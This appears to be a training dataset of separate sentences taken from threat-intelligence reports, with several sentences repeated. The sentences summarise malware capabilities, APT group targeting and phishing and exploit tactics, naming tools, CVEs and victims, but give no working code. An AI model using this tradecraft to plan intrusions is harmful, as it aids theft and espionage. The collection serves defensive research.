The malware basically provides a remote CMD/PowerShell terminal for the attackers , enabling them to execute scripts/commands and receive the results via HTTP requests .
After app installation , whenever SWAnalytics senses victims opening up infected applications or rebooting their phones , it silently uploads their entire contacts list to Hangzhou Shun Wang Technologies controlled servers .
This module monitors a wide range of device activities including application installation / remove / update , phone restart and battery charge .
It turns out that contacts data isn’t the only unusual data SWAnalytics is interested in .
With default settings , SWAnalytics will scan through an Android device’s external storage , looking for directory tencent/MobileQQ/WebViewCheck” .
By listing sub-folders , SWAnalytics is able to infer QQ accounts which have never been used on the device .
To make this data harvesting operation flexible , SWAnalytics equips the ability to receive and process configuration files from a remote Command-and-Control .
Just to highlight its capabilities , TajMahal is able to steal data from a CD burnt by a victim as well as from the printer queue .
The newer variant of KopiLuwak is now capable of exfiltrating files to the C&C as well as downloading files and saving them to the infected machine .
The tool does all that a typical Trojan needs to accomplish: upload , download and execute files , fingerprint target systems .
The PowerShell version of the Trojan also has the ability to get screenshots .
Initial reports about HIGHNOON and its variants reported publicly as Winnti dating back to at least 2013 indicated the tool was exclusive to a single group , contributing to significant conflation across multiple distinct espionage operations .
BalkanRAT enables the attacker to remotely control the compromised computer via a graphical interface , i.e , manually; BalkanDoor enables them to remotely control the compromised computer via a command line , i.e , possibly en masse .
The backdoor can connect to any of the C&Cs from a hardcoded list – a measure to increase resilience .
China Chopper is a tool that allows attackers to remotely control the target system that needs to be running a web server application before it can be targeted by the tool .
China Chopper contains a remote shell (Virtual Terminal) function that has a first suggested command of netstat an|find ESTABLISHED .
The tool investigates the Local Security Authority Subsystem memory space in order to find , decrypt and display retrieved passwords .
Additional capabilities of the More_eggs malware include the download and execution of files and scripts and running commands using cmd.exe .
Mimikatz is a post-exploitation tool that allows attackers to extract credentials from volatile memory .
The GoogleUpdate.exe component is responsible for communicating with the remote C&C server .
This way , the malware can have its configuration , malicious binaries and file listings updated , but can also download and execute other binaries .
They also download apks secretly and record audios and videos , then upload users’ privacy information to server , causing users’ privacy leakage .
The email stealer collects connection protocol information and account information , such as SMTP , IMAP , and POP3 , which are stored in the registry by Outlook and Thunderbird mail clients and sends them to the attacker server in a specific format .
AdroMut downloads the malware ServHelper and FlawedAmmy RAT used by the SectorJ04 group from the attacker server and simultaneously performs the functions of a backdoor .
The Silence.Main Trojan , which is the main stage of the attack ,has a full set of commands to control a compromised computer .
The exploit installs Silence’s loader , designed to download backdoors and other malicious programs .
As we described in Silence: Moving into the darkside report , Silence has experience with theft using compromised card processing systems .
The main goal of Silence.Downloader is to receive an executable file and run it on an infected machine .
Silence.MainModule is a typical remote control Trojan that provides access to the command shell CMD.EXE with the possibility of downloading files from remote nodes to a computer and uploading files from a computer to a remote server .
PlugX is a modular structured malware that has many different operational plugins such as communication compression and encryption , network enumeration , files interaction , remote shell operations and more .
A backdoor that communicates with a single command and control (C2) server using HTTP GET and POST requests , TONEDEAF supports collecting system information , uploading and downloading of files , and arbitrary shell command execution .
PICKPOCKET is a credential theft tool that dumps the user's website login credentials from Chrome , Firefox , and Internet Explorer to a file .
The first module downloaded by the GRIFFON malware to the victim’s computer is an information-gathering JScript , which allows the cybercriminals to understand the context of the infected workstation .
The new GRIFFON implant is written to the hard drive before each execution , limiting the file-less” aspect of this method .
In fact , AveMaria is a classic infostealer bot that collects all possible credentials from various types of software: browsers , email clients , messengers , etc , and can act as a keylogger .
Neptun is installed on Microsoft Exchange servers and is designed to passively listen for commands from the attackers .
The usefulness of flare-qdb can be seen in cases such as loops dealing with strings .
The usefulness of flare-qdb can be seen in cases such as loops dealing with strings .
The usefulness of flare-qdb can be seen in cases such as loops dealing with strings .
We have also observed them using virtual private network services that use IPs based in numerous countries to ensure anonymity and obfuscate criminal operations .
Once downloaded and executed , it drops an intermediate payload that further downloads a Pony DLL and Vawtrak executable , which perform data theft and connect to a command and control (C2) server .
Upon execution , it will communicate with an attacker-controller website to download a variant of the Pony malware , pm.dll” along with a standard Vawtrak trojan .
RIPPER interacts with the ATM by inserting a specially manufactured ATM card with an EMV chip that serves as the authentication mechanism .
RIPPER will examine the contents of directories associated with the targeted ATM vendors and will replace legitimate executables with itself .
This malware family can be used to compromise multiple vendor platforms and leverages uncommon technology to access physical devices .
From our trend analysis seen in Figure 3 , Locky ransomware started being delivered via DOCM format email attachments more extensively beginning in August .
Discovered for the first time in Mexico back in 2013 , Ploutus enabled criminals to empty ATMs using either an external keyboard attached to the machine or via SMS message , a technique that had never been seen before .
FireEye Labs recently identified a previously unobserved version of Ploutus , dubbed Ploutus-D , that interacts with KAL’s Kalignite multivendor ATM platform .
Written in pure C language , Canhadr/Ndriver provides full access to the hard drive and operating memory despite device security restrictions , and carries out integrity control of various system components to avoid debugging and security detection .
WannaCry appends encrypted data files with the .WCRY extension , drops and executes a decryptor tool , and demands $300 or $600 USD ( via Bitcoin ) to decrypt the data .
Some of the documents exploited CVE-2017-0199 to deliver the payload .
To set up persistence , the loader writes a file to " c:\temp\rr.exe " and executes it with specific command line arguments to create auto run registry keys .
For example , we analyzed a DropIt sample ( SHA256 : cca268c13885ad5751eb70371bbc9ce8c8795654fedb90d9e3886cbcfe323671 ) that dropped two executables , one of which was saved to " %TEMP%\flash_update.exe " that was a legitimate Flash Player installer .
The HTA files contained job descriptions and links to job postings on popular employment websites .
ChopShop1 is a new framework developed by the MITRE Corporation for network-based protocol decoders that enable security professionals to understand actual commands issued by human operators controlling endpoints .
We found new variants of the Powermud backdoor , a new backdoor ( Backdoor.Powemuddy ) , and custom tools for stealing passwords , creating reverse shells , privilege escalation , and the use of the native Windows cabinet creation tool , makecab.exe , probably for compressing stolen data to be uploaded .
Like the previous campaigns , these samples again involve a Microsoft Word document embedded with a malicious macro that is capable of executing PowerShell ( PS ) scripts leading to a backdoor payload .
Taking a step back , as discussed in the Appendix in our initial OilRig blog , Clayslide delivery documents initially open with a worksheet named " Incompatible " that displays content that instructs the user to " Enable Content " to see the contents of the document , which in fact runs the malicious macro and compromises the system .
The vulnerability exists in the old Equation Editor ( EQNEDT32.EXE ) , a component of Microsoft Office that is used to insert and evaluate mathematical formulas .
The attackers then began to perform reconnaissance activities on Computer A via cmd.exe , collecting system-related information , such as the OS version , hardware configuration , and network information .
Catchamas is a custom Trojan designed to steal information from an infected computer and contains additional features designed to avoid detection .
MXI Player appears to be a version of the Bahamut agent , designed to record the phone calls and collect other information about the user ( com.mxi.videoplay ) .
Threat actors may use the date string hardcoded into each Bookworm sample as a build identifier .
Research presented in this report shows that the PUTTER PANDA operators are likely members of the 12th Bureau , 3rd General Staff Department ( GSD ) of the People 's Liberation Army ( PLA ) , operating from the unit 's headquarters in Shanghai with MUCD 61486 .
That this group is mostly targeting businesses is apparent from the processes they are looking for on a compromised system .
They are both targeting businesses using accounting software , are fingerprinting systems of interest similarly , are looking for smart card readers , and finally , they deploy an array of malicious tools to spy on their victims .
This adversary has been identified leveraging custom-developed plugins for versions 2 and 3 of the commodity malware Black Energy to target entities associated with energy , industrial control systems and SCADA , government , and media for espionage and destructive purposes , since at least 2011 .
This adversary has been identified leveraging custom-developed plugins for versions 2 and 3 of the commodity malware Black Energy to target entities associated with energy , government , and media for espionage and destructive purposes , since at least 2011 .
If you haven't heard about it for some reason , I would recommend to read this detailed report by Group-IB , as this APT attacks not only Russian banks , but also banks in more than 25 countries .
The credentials they use to register their malware infrastructure are easily associated with their public social media accounts on Google® , Facebook® , MySpace® , Instagram® , and various dating and blogging sites .
We have previously detected groups we suspect are affiliated with the North Korean government compromising electric utilities in South Korea , but these compromises did not lead to a disruption of the power supply .
North Korea linked hackers are among the most prolific nation-state threats , targeting not only the U.S. and South Korea but the global financial system and nations worldwide .
CapabilitiesFormBook is a data stealer , but not a full-fledged banker .
Furthermore , there are indications that APT32 actors are targeting peripheral network security and technology infrastructure corporations .
The targeting of private sector interests by APT32 is notable and FireEye believes the actor poses significant risk to companies doing business in , or preparing to invest in , the country .
While the motivation for each APT32 private sector compromise varied – and in some cases was unknown – the unauthorized access could serve as a platform for law enforcement , intellectual property theft , or anticorruption measures that could ultimately erode the competitive advantage of targeted organizations .
The use of the CARBANAK malware in FIN7 operations also provides limited evidence that these campaigns are linked to previously observed CARBANAK operations leading to fraudulent banking transactions , ATM compromise , and other monetization schemes .
For our M-Trends 2017 report , we took a look at the incidents we investigated last year and provided a global and regional (the Americas , APAC and EMEA) analysis focused on attack trends , and defensive and emerging trends .
In April 2015 , we uncovered the malicious efforts of APT30 , a suspected China-based threat group that has exploited the networks of governments and organizations across the region , targeting highly sensitive political , economic and military information .
Yet the document cache published April 8 provides evidence that the NSA had once launched a series of successful computer-based intrusions against multiple high-profile foreign targets , including the Office of the President of Iran and the Russian Federal Nuclear Center .
Emotet activity in 2019 included several high-volume campaigns that collectively distributed tens of millions of messages primarily targeting the manufacturing and healthcare industries .
Originally targeting Western European banks , Emotet has since been developed into a robust global botnet that is comprised of several modules , each of which equips Emotet with different spamming , email logging , information stealing , bank fraud , downloading , and DDoS , among others .
Originally targeting Western European banks , it has since been developed into a robust global botnet that is comprised of several modules , each of which equips Emotet with different spamming , email logging , information stealing , bank fraud , downloading , and DDoS , among others .
Transparent Tribe has been active for several years and conducting suspected intelligence collection operations against South Asian political and military targets .
In previous incidents involving this threat actor , we observed them using malicious documents hosted on websites about the Indian Army , instead of sending these documents directly as an email attachment .
To date , Whitefly has attacked organizations in the healthcare , media , telecommunications , and engineering sectors .
Between May 2017 and December 2018 , a multi-purpose command tool that has been used by Whitefly was also used in attacks against defense , telecoms , and energy targets in Southeast Asia and Russia .
The malicious documents seen in recent activity refer to a number of topics , including recent military promotions within the Pakistan Army , information related to the Pakistan Atomic Energy Commission , as well as Pakistan 's Ministry of the Interior .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
APT41 has targeted payment services specializing in handling in-game transactions and real money transfer (RMT) purchases .
The group behind these attacks has stolen gigabytes of confidential documents , mostly from military organizations .
They seem to have specialized knowledge about military operations , as they are focused on stealing specific files such as those that describe navigation routes .
Early in Q2 , Kaspersky identified an interesting Lazarus attack targeting a mobile gaming company in South Korea that we believe was aimed at stealing application source code .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
We believe that these industries have also been targeted as part of a larger supply-chain attack in order for Orangeworm to get access to their intended victims related to healthcare .
Orangeworm 's secondary targets include Manufacturing , Information Technology , Agriculture , and Logistics .
While these industries may appear to be unrelated , we found them to have multiple links to healthcare , such as large manufacturers that produce medical imaging devices sold directly into healthcare firms , IT organizations that provide support services to medical clinics , and logistical organizations that deliver healthcare products .
Patchwork targets were chosen worldwide with a focus on personnel working on military and political assignments , and specifically those working on issues relating to Southeast Asia and the South China Sea .
Patchwork ( also known as Dropping Elephant ) is a cyberespionage group whose targets included diplomatic and government agencies as well as businesses .
Dropping Elephant ( also known as " Chinastrats " and " Patchwork " ) is a relatively new threat actor that is targeting a variety of high profile diplomatic and economic targets using a custom set of attack tools .
In this case , a small group reusing exploit code , some powershell-based malware and mostly social engineering has been able to steal sensitive documents and data from victims since at least November 2015 .
The malicious documents seen in recent activity refer to a number of topics , including recent military promotions within the Pakistan Army , information related to the Pakistan Atomic Energy Commission , as well as Pakistan 's Ministry of the Interior .
PittyTiger leverages social engineering to deliver spearphishing emails , in a variety of languages including English , French and Chinese , and email phishing pages to their targets .
The previous two volumes of the Microsoft Security Intelligence Report explored the activities of two such groups , code-named STRONTIUM and PLATINUM , which used previously unknown vulnerabilities and aggressive , persistent techniques to target specific individuals and— often including military installations , intelligence agencies , and other government bodies .
This particular unit is believed to hack into victim companies throughout the world in order to steal corporate trade secrets , primarily relating to the satellite , aerospace and communication industries .
PUTTER PANDA is a determined adversary group , conducting intelligence-gathering operations targeting the Government , Defense , Research , and Technology sectors in the United States , with specific targeting of the US Defense and European satellite and aerospace industries .
In 2015 and 2016 , Dridex was one of the most prolific eCrime banking trojans on the market and , since 2014 , those efforts are thought to have netted INDRIK SPIDER millions of dollars in criminal profits .
In August 2017 , a new ransomware variant identified as BitPaymer was reported to have ransomed the U.K. 's National Health Service ( NHS ) , with a high ransom demand of 53 BTC ( approximately $200,000 USD ) .
Known for hijacking prominent social media accounts , the self-styled white hat hacking group OurMine took over a number of verified Twitter and Facebook accounts belonging to the cable network .
Through research , 360 Helios Team has found that , since 2007 , the Poison Ivy Group has carried out 11 years of cyber espionage campaigns against Chinese key units and departments , such as national defense , government , science and technology , education and maritime agencies .
Dragos has reported that XENOTIME , the APT group behind the TRISIS (aka TRITON and HatMan) attack on a Saudi Arabian petro-chemical facility in 2017 , has expanded its focus beyond the oil and gas industries .
Known targets of this group have been involved in the maritime industry , as well as engineering-focused entities , and include research institutes , academic organizations , and private firms in the United States .
Historically , the majority of their targeting has been focused on the South Korean government , military , and defense industrial base .
Historically , the majority of their targeting has been focused on the South Korean government , military , and defense industrial base .
TEMP.Periscope BackgroundActive since at least 2013 , TEMP.Periscope has primarily focused on maritime-related targets across multiple verticals , including engineering firms , shipping and transportation , manufacturing , defense , government offices , and research universities .
TEMP.Periscope BackgroundActive since at least 2013 , TEMP.Periscope has primarily focused on maritime-related targets across multiple verticals , including engineering firms , shipping and transportation , manufacturing , defense , government offices , and research universities .
These malware families have a rich history of being used in many targeted attacks against government and private organizations .
In this same time frame , APT10 also targeted a U.S. law firm and an international apparel company , likely to gather information for commercial advantage .
The admin@338 has largely targeted organizations involved in financial , economic and trade policy , typically using publicly available RATs such as Poison Ivy , as well some non-public backdoors .
The admin@338 started targeting Hong Kong media companies , probably in response to political and economic challenges in Hong Kong and China .
The admin@338 linked to China and alleged to be responsible for targeted attacks against foreign governments and ministries , has now pointed its focus inward at China autonomous territory Hong Kong .
linked to China and alleged to be responsible for targeted attacks against foreign governments and ministries , has now pointed its focus inward at China autonomous territory Hong Kong .
The group targeting Hong Kong media outlets is called admin@338 and is known to researchers for using publicly available remote access Trojans such as Poison Ivy to attack government and financial firms specializing in global economic policy .
The agroup targeting Hong Kong media outlets is called admin@338 and is known to researchers for using publicly available remote access Trojans such as Poison Ivy to attack government and financial firms specializing in global economic policy .
The admin@338 , active since 2008 , has been seen targeting organizations in the financial services , telecoms , government , and defense sectors .
The APT actor , active since 2008 , has been seen targeting organizations in the financial services , telecoms , government , and defense sectors .
FireEye said it has tracked admin@338 's activity since 2013 and the group has largely targeted organizations involved in financial , economic , and trade policy .
They have largely targeted organizations involved in financial , economic and trade policy , typically using publicly available RATs such as Poison Ivy , as well some non-public backdoors .
Between November 26 , 2015 , and December 1 , 2015 , known and suspected China-based APT16 launched several spear phishing attacks targeting Japan and Taiwan in the high-tech , government services , media and financial services industries .
Between November 26 , 2015 , and December 1 , 2015 , known and suspected China-based APT groups launched several spear phishing attacks targeting Japanese and Taiwanese organizations in the high-tech , government services , media and financial services industries .
TG-0416 is a stealthy and extremely successful Advanced Persistent Threat ( APT ) group known to target a broad range of verticals since at least 2009 , including technology , industrial , manufacturing , human rights groups , government , pharmaceutical , and medical technology .
APT19 seemed to be going after defense sector firms , Chinese dissident groups and political , financial , pharmaceutical and energy sectors that could benefit the Chinese economy .
APT19 seemed to be going after defense sector firms , Chinese dissident groups and other political target , as well as certain financial targets and other commercial targets in pharmaceutical and energy sectors that could benefit the Chinese economy .
FANCY BEAR ( also known as Sofacy or APT 28 ) is a separate Russian-based threat actor , which has been active since mid 2000s , and has been responsible for targeted intrusion campaigns against the Aerospace , Defense , Energy , Government and Media sectors .
APT28 espionage activity has primarily targeted entities in the U.S. , Europe , and the countries of the former Soviet Union , including governments , militaries , defense attaches , media entities , and dissidents and figures opposed to the current Russian Government .
APT28 espionage activity has primarily targeted entities in the U.S. , Europe , and the countries of the former Soviet Union , including governments and militaries , defense attaches , media entities , and dissidents and figures opposed to the current Russian Government .
Since at least 2014 , FireEye has observed APT32 targeting foreign corporations with a vested interest in Vietnam 's manufacturing , consumer products , and hospitality sectors .
APT33 has targeted organizations – spanning multiple industries – headquartered in the United States , Saudi Arabia and South Korea .
During the same time period , APT33 also targeted companies in South Korea involved in oil refining and petrochemicals .
The generalized targeting of organizations involved in energy and petrochemicals mirrors previously observed targeting by other suspected Iranian threat groups , indicating a common interest in the sectors across Iranian actors .
APT33 's targeting of organizations involved in aerospace and energy most closely aligns with nation-state interests , implying that the threat actor is most likely government sponsored .
APT33 's focus on aviation may indicate the group 's desire to gain insight into regional military capabilities to enhance Iran 's aviation capabilities or to support Iran 's military and strategic decision making .
Specifically , the targeting of organizations in the aerospace and energy sectors indicates that the APT33 is likely in search of strategic intelligence capable of benefitting a government or military sponsor .
APT33 's focus on aviation may indicate the group 's desire to gain insight into regional military aviation capabilities to enhance Iran 's aviation capabilities or to support Iran 's military and strategic decision making .
In 2017 , APT37 expanded its targeting beyond the Korean peninsula to include Japan , Vietnam and the Middle East , and to a wider range of industry verticals , including chemicals , electronics , manufacturing , aerospace , automotive and healthcare entities .
We surmise that the targeting of banks , media , and government agencies is conducted in support of APT38 's primary mission .
The APT38 targeted news outlets known for their business and financial sector reporting , probably in support of efforts to identify and compromise additional financial institutions .
APT39 has prioritized the telecommunications sector , with additional targeting of the travel industry and IT firms that support it and the high-tech industry .
APT39 's focus on the telecommunications and travel industries suggests intent to perform monitoring , tracking , or surveillance operations against specific individuals , collect proprietary or customer data for commercial or operational purposes that serve strategic requirements related to national priorities , or create additional accesses and vectors to facilitate future campaigns .
REDBALDKNIGHT , also known as BRONZE BUTLER and Tick , is a cyberespionage group known to target Japanese organizations such as government agencies ( including defense ) as well as those in biotechnology , electronics manufacturing , and industrial chemistry .
REDBALDKNIGHT , also known as BRONZE BUTLER and Tick , is a cyberespionage group known to target Japan such as government agencies as well as those in biotechnology , electronics manufacturing , and industrial chemistry .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
This report describes the details and type of operations carried out by Carbanak that focuses on financial industry , such as payment providers , retail industry and PR companies .
From 2013 Carbanak intensified its activity focused on banks and electronic payment systems in Russia and in the post-Soviet space .
Since 2013 Carbanak has successfully gained access to networks of more than 50 banks and 5 payment systems .
The Charming Kitten' focus appears to be individuals of interest to Iran in the fields of academic research .
However , even though the TTPs of the Cleaver team have some overlap to techniques used by Iranian Cyber Army ( botnets ) , Ashiyane ( SQL injection ) and Syrian Electronic Army ( phishing ) , we believe this is largely the work of a new team .
Since 2013 , the Cobalt have attempted to attack banks and financial institutions using pieces of malware they designed .
Since 2013 , the cybercrime gang have attempted to attack banks , e-payment systems and financial institutions using pieces of malware they designed , known as Carbanak and Cobalt .
Gallmaker 's activity appears to be highly targeted , with its victims all related to government , military , or defense sectors .
There are no obvious links between the Eastern European and Middle Eastern targets , but it is clear that Gallmaker is specifically targeting the defense , military , and government sectors .
traditionally targeted the aerospace , energy , government , high-tech , consulting services , and chemicals / manufacturing / mining sectors .
The Ke3chang have used three types of malware over the years and have traditionally targeted the aerospace , energy , government , high-tech , consulting services , chemicals , manufacturing , mining sectors .
The attackers have used three types of malware over the years and have traditionally targeted the aerospace , energy , government , high-tech , consulting services , and chemicals / manufacturing / mining sectors .
APT15 was targeting information related to UK government departments and military technology .
APT15 is known for committing cyberespionage against companies and organizations located in many different countries , targeting different sectors such as the oil industry , government contractors , military , and more .
cyber actors of the North Korean to target the media , aerospace , financial , and critical infrastructure sectors in the United States and globally .
According to trusted third-party reporting , HIDDEN COBRA actors have likely been using FALLCHILL malware since 2016 to target the aerospace , telecommunications , and finance industries .
McAfee Advanced Threat Research analysts have uncovered a global data reconnaissance campaign assaulting a wide number of industries including critical infrastructure , entertainment , finance , health care , and telecommunications .
Since at least 2013 , HIDDEN COBRA actors have been observed using Volgmer malware in the wild to target the government , financial , automotive , and media industries .
Ransomware that has been publicly named " WannaCry " , " WCry " or " WanaCrypt0r " ( based on strings in the binary and encrypted files ) has spread to at least 74 countries as of Friday 12 May 2017 , reportedly targeting Russia initially , and spreading to telecommunications , shipping , car manufacturers , universities and health care industries , among others .
Ransomware that has been publicly named " WannaCry " , " WCry " or " WanaCrypt0r " ( based on strings in the binary and encrypted files ) has spread to at least 74 countries as of Friday 12 May 2017 , reportedly targeting Russia initially , and spreading to telecommunications , shipping , car manufacturers , universities and health care industries , among others .
Known targets of the Leviathan have been involved in the maritime industry , and research institutes , academic organizations , and private firms in the United States .
Active since at least 2013 , TEMP.Periscope has primarily focused on maritime-related targets across multiple verticals , including engineering firms , shipping and transportation , manufacturing , defense , government offices , and research universities .
Within a year APT40 was observed masquerading as a UUV manufacturer , and targeting universities engaged in naval research .
APT40 engages in broader regional targeting against traditional intelligence targets , especially organizations with operations in Southeast Asia .
Lotus Blossom targeted the government , higher education , and high tech companies .
The Lotus Blossom largely targets military or government , with some cases of higher education and high tech companies .
Organizations in the government , energy , and technology sectors have been targeted by Magic Hound , specifically organizations based in or doing business in Saudi Arabia .
Since at least 2014 , APT32 , also known as the OceanLotus Group , has targeted foreign corporations with investments in Vietnam , foreign governments , journalists , and Vietnamese dissidents .
Evidence also suggests that APT32 has targeted network security and technology infrastructure corporations with connections to foreign investors .
Since at least 2014 , APT32 , also known as the OceanLotus Group , has targeted foreign corporations foreign governments .
Additionally , there is evidence to suggest APT33 targeted Saudi Arabian and Western organizations that provide training , maintenance and support for Saudi Arabia 's military and commercial fleets .
The OilRig group conducts operations primarily in the Middle East , targeting financial , government , energy , chemical , telecommunications and other industries .
APT35 typically targets military , diplomatic and government , media , energy , engineering , business services and telecommunications sectors in U.S. and the Middle East .
APT35 typically targets U.S. and the Middle Eastern military , diplomatic and government personnel , organizations in the media , energy and defense industrial base ( DIB ) , and engineering , business services and telecommunications sectors .
Since at least 2013 , the Iranian threat group that FireEye tracks as APT33 has carried out a cyber espionage operation to collect information from defense , aerospace and petrochemical organizations .
Since at least 2013 , the Iranian threat group FireEye tracks as APT33 has carried out a cyber espionage operation to collect information from defense , aerospace and petrochemical organizations .
Ultimately , APT35 had used access to hundreds of mailboxes to read email communications and steal data related to Middle East organizations , which later became victims of destructive attacks .
Further analysis revealed a well-established collection of fake social media profiles that appear intended to build trust and rapport with potential victims .
COBALT GYPSY has used spearphishing to target telecommunications , government , defense , oil , and financial services organizations based in or affiliated with the MENA region , identifying individual victims through social media sites .
The Magic Hound has repeatedly used social media to identify and interact with employees at targeted organizations and then used weaponized Excel documents .
We identified decoy files which indicate these attacks began with spear phishing messages but have not observed the actual messages .
This group has used a large array of infection vectors , mostly revolving around drive-by downloads and spam .
To infect individuals with access to the data the actors desire , Scarlet Mimic deploys both spear-phishing and watering hole ( strategic web compromise ) attacks .
As with many other attackers who use spear-phishing to infect victims , Scarlet Mimic makes heavy use of " decoy " files .
The most recent Scarlet Mimic attacks we have identified were conducted in 2015 and suggest the group has a significant interest in both Muslim activists and those interested in critiques of the Russian government and Russian President Vladimir Putin .
Using these tactics Scarlet Mimic can directly target previously identified individuals ( spear phishing ) as well as unidentified individuals who are interested in a specific subject ( watering hole ) .
Scarlet Mimic primarily deploys spear-phishing e-mails to infect its targets , but was also responsible for a watering hole attack in 2013 .
Scarlet Mimic has carried out attacks using both spear-phishing and watering holes since at least 2009 with increasingly advanced malware , and has deployed malware to attack multiple operating systems and platforms .
The group primarily deploys spear-phishing e-mails to infect its targets , but was also responsible for a watering hole attack in 2013 .
When using email scams , SilverTerrier actors preferred to use large target audiences , which maximized the likelihood of success with very little risk .
The malware may inject itself into browser processes and explorer.exe .
In early May , the phishing lures leveraged RTF attachments that exploited the Microsoft Windows vulnerability described in CVE-2017-0199 .
In their current campaign , APT32 has leveraged ActiveMime files that employ social engineering methods to entice the victim into enabling macros .
APT32 actors continue to deliver the malicious attachments via spear-phishing emails .
In the following weeks , FireEye released threat intelligence products and updated malware profiles to customers while developing new detection techniques for APT32’s tools and phishing lures .
FIN7 is a financially motivated intrusion set that selectively targets victims and uses spear phishing to distribute its malware .
The malware was initially distributed through a compromised software update system and then self-propagated through stolen credentials and SMB exploits , including the EternalBlue exploit used in the WannaCry attack from May 2017 .
The threat actors , observed by FireEye Labs , use a variety of different methods to either compromise or acquire already compromised payment card credentials , including sharing or purchasing dumps online , hacking vulnerable merchant websites and compromising payment card processing devices .
Another common step taken by threat actors is changing their system's MAC Address to avoid being uniquely identified .
The attachment in these emails is a weaponized Microsoft Office document containing a malicious macro that – when enabled – leads to the download of Hancitor .
FireEye Labs detects this phishing attack and customers will be protected against the usage of these sites in possible future campaigns .
The threat actors used two publicly available techniques , an AppLocker whitelisting bypass and a script to inject shellcode into the userinit.exe process .
To run its code in kernel mode in the most recent versions of operating systems , that have Driver Signature Enforcement , Slingshot loads signed vulnerable drivers and runs its own code through their vulnerabilities .
To date , all observed Snake Wine 's attacks were the result of spear phishing attempts against the victim organizations .
Beginning in mid-January 2019 , TA542 distributed millions of Emotet-laden emails in both English and German .
Proofpoint researchers observed one DanaBot affiliate ( Affid 11 ) specifically targeting Canada with " Canada Post " themed lures between January 1 and May 1 , 2019 .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
In this latest incident , the group registered a fake news domain , timesofindiaa.in , on May 18 , 2016 , and then used it to send spear phishing emails to Indian government officials on the same day .
In previous incidents involving this threat actor , we observed them using malicious documents hosted on websites about the Indian Army , instead of sending these documents directly as an email attachment .
In this latest incident , Transparent Tribe registered a fake news domain , timesofindiaa.in , on May 18 , 2016 , and then used it to send spear phishing emails to Indian government officials on the same day .
This exploit file made use of the same shellcode that we have observed Transparent Tribe use across a number of spear phishing incidents .
According to the security firm , this campaign targeted Indian military officials via spear-phishing emails , distributing spyware to its victims via an Adobe Reader vulnerability .
Whitefly compromises its victims using custom malware alongside open-source hacking tools and living off the land tactics , such as malicious PowerShell scripts .
After the demise of Storm , it was replaced by another new botnet known as Waledac that also leveraged peer-to-peer communications .
ESET recently analyzed a new Mac OS sample from the OceanLotus group that had been uploaded to VirusTotal .
At this point , the attackers know the user has opened the document and send another spear-phishing email , this time containing an MS Word document with an embedded executable .
In one case from 2013 , the target was sent a malicious document through a spear phishing email message .
The malware may communicate with its command and control (C2) server over The Onion Router (Tor) network if configured to do so .
Harvested credentials provided by an embedded Mimikatz executable facilitate the infection of other systems on the network .
This time , however , TA459 opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
This time , however , attackers opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
The documents attached to spear-phishing e-mails used in both attacks contain code that exploits CVE-2012-0158 , which despite its age remains one of the most common Microsoft Word vulnerabilities being exploited by multiple threat actors .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
According to the security firm , this campaign targeted Indian military officials via spear-phishing emails , distributing spyware to its victims via an Adobe Reader vulnerability .
PLATINUM 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
The group 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
Alternatively , it is also possible that APT41 injected malicious code into the package prior to compilation , circumventing the need to steal the code-signing certificate and compile it on their own .
SectorJ04 used the spear phishing email to spread malicious Excel or malicious Word files , and downloaded the MSI files from the attacker’s server when the malicious documents were run .
Spam emails targeting email accounts used in the integrated mail service of public officials were also found in the hacking activity .
Instead of using fake Google Docs phishing pages to collect personal email login credentials , Scattered Canary began using phishing pages of commonly used business applications to compromise enterprise credentials .
During a recent campaign , APT32 leveraged social engineering emails with Microsoft ActiveMime file attachments to deliver malicious macros .
Tactic #1: Delivering the miner directly to a vulnerable serverSome tactics we've observed involve exploiting CVE-2017-10271 , leveraging PowerShell to download the miner directly onto the victim’s system (Figure 1) , and executing it using ShellExecute() .
This time , however , TA459 opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
This time , however , attackers opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
The documents attached to spear-phishing e-mails used in both attacks contain code that exploits CVE-2012-0158 , which despite its age remains one of the most common Microsoft Word vulnerabilities being exploited by multiple threat actors .
According to the security firm , this campaign targeted Indian military officials via spear-phishing emails , distributing spyware to its victims via an Adobe Reader vulnerability .
PLATINUM 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
The group 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
Should a user enable this content , Gallmaker is then able to use the DDE protocol to remotely execute commands in memory on the victima 's system .
These socially engineered emails contain web links of weaponized documents containing exploits or macros .
